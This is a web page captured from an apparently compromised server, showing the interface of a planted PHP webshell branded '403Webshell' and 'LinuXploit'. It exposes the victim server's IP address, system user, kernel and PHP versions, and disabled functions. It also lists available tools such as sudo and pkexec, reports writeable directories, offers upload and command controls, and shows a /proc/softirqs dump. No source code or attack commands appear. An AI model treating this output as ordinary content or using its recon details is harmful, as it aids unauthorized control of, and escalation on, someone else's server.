403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1/cwd/proc/1/cwd/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1/cwd/proc/1/cwd/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
          HI:          7         25         27          8          1          2          6         23        164          9          1          1
       TIMER:  118669245  196325395  208729470   53194674   41701659   38733900   97752628  116558223  177569699   38910279   55904694   42095546
      NET_TX:     288363     313385   20922070    1611982    1429236    4397383   22268634    1271058     200278    3801182   21831126    9742320
      NET_RX:    2502440    3653901  520438822   34892474   45497685  125570315  520239110   18453284    2869376   84913084  518812586  222807661
       BLOCK:      38111      29844      28208      10243      14858      31230      14660      17861      15583      36939      12625      34436
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        589       8091   48125588    3048294    4008163   10771852   49717536    1768415      37347    8309590   50588178   21586829
       SCHED: 2046505917  957003280  748079078  354832853  203649548  164050540  367741515  465427007  486151919  137444940  150190858  134001211
     HRTIMER:        168        274      19116        725       1060       3439      16789        210        133       1926      12019       5223
         RCU:  347830404  422675269  426427742  239816977  184216015  182545547  344804382  421418777  414585388  175026737  175208662  171019844

Youez - 2016 - github.com/yon3zu
LinuXploit